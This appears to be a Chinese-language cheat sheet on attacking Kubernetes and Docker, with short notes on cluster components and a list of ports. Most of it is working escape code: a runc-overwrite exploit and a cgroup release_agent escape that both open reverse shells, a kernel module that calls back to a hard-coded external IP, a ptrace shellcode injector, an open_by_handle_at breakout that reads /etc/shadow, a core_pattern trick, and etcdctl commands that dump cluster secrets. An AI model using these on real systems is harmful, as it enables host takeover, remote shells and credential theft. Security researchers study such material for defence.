


镜像仓库安全
容器镜像安全
API Server
Controller Manager
etcd
Kubelet
Kube-proxy
Pod内攻击
容器逃逸

容器调度管理:基于调度算法与策略将容器调度到对应的节点上运行。
服务发现与负载均衡:通过域名、VIP对外提供容器服务,提供访问流量负载均衡。
弹性扩展:定义期待的容器状态与资源,Kubernetes自动检测、创建、删除实例和配置以满足要求。
自动恢复与回滚:提供健康检查,自动重启、迁移、替换或回滚运行失败或没响应的容器,保障服务可用性。
Kubernetes对象管理:涉及应用编排与管理、配置、秘钥等、监控与日志等。
资源管理:对容器使用的网络、存储、GPU等资源进行管理。



获取vDSO地址,在新版的glibc中可以直接调⽤getauxval()函数获取;
通过vDSO地址找到clock_gettime()函数地址,检查是否可以hijack;
创建监听socket;
触发漏洞,Dirty CoW是由于内核内存管理系统实现CoW时产⽣的漏洞。通过条件竞争,把握好在恰当的时机,利⽤ CoW 的特性可以将⽂件的read-only映射该为write。⼦进程不停地检查是否成功写⼊。⽗进程创建⼆个线程,ptrace_thread线程向vDSO写⼊shellcode。madvise_thread线程释放vDSO映射空间,影响ptrace_thread线程CoW的过程,产⽣条件竞争,当条件触发就能写⼊成功。
执⾏shellcode,等待从宿主机返回root shell,成功后恢复vDSO原始数据。
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/0.0.0.0/1234 0>&1"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
fdisk -l

mount xxx /mnt



# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff
echo "/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff/cmd" > /tmp
/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/0.0.0.0/1234 0>&1'" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 0
unsigned char *shellcode =
"";
int inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
#include <linux/sched/signal.h>
#include <linux/nsproxy.h>
#include <linux/proc_ns.h>
///< The license type -- this affects runtime behavior
MODULE_LICENSE("GPL");
///< The author -- visible when you use modinfo
MODULE_AUTHOR("Nimrod Stoler");
///< The description -- see modinfo
MODULE_DESCRIPTION("NS Escape LKM");
///< The version of the module
MODULE_VERSION("0.1");
static int __init escape_start(void)
{
int rc;
static char *envp[] = {
"SHELL=/bin/bash",
"HOME=/home/cyberark",
"USER=cyberark",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin",
"DISPLAY=:0",
NULL};
char *argv[] = {"/bin/bash","-c", "bash -i >& /dev/tcp/106.55.159.102/9999 0>&1", NULL};
rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
printk("RC is: %i \n", rc);
return 0;
}
static void __exit escape_end(void)
{
printk(KERN_EMERG "Goodbye!\n");
}
module_init(escape_start);
module_exit(escape_end);
-----------------------
ifneq ($(KERNELRELEASE),)
obj-m :=exp.o
else
KDIR :=/lib/modules/$(shell uname -r)/build
all:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -f *.ko *.o *.mod.o *.mod.c *.symvers *.order
endif


#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct my_file_handle
{
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i)
{
fprintf(stderr, "0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h->handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path)
{
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;)
{
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0)
{
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de)
{
for (uint32_t i = 0; i < 0xffffffff; ++i)
{
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0)
{
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main()
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n");
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
close(fd2);
close(fd1);
return 0;
}
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab

echo -e “|/var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh \rcore “ > /host_proc/sys/kernel/core_pattern
#include <stdio.h>
int main() {
int *a = NULL;
*a = 1;
return 0;
}




kubectl edit sa sa-name -n namespace //

kubectl create -f pod.yaml // sa pod

/kubectl .
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

用户与kubectl或者Kubernetes Dashboard进行交互,提交需求。(例:kubectl create -f pod.yaml)
kubectl会读取~/.kube/config配置,并与apiserver进行交互,协议:http/https
apiserver会协同etcd等组件准备下发新建容器的配置给到节点,协议:http/https(除etcd外还有例如kube-controller-manager,scheduler等组件用于规划容器资源和容器编排方向)
apiserver与kubelet进行交互,告知其容器创建的需求,协议:http/https
kubelet与Docker等容器引擎进行交互,创建容器,协议:http/unix socket











export ETCDCTL_API=3
etcdctl endpoint health
etcdctl get / --prefix --keys-only | grep /secrets/

etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-pkkd5


https://xz.aliyun.com/t/6167
https://mp.weixin.qq.com/s/Aq8RrH34PTkmF8lKzdY38g
https://tech.meituan.com/2020/03/12/cloud-native-security.html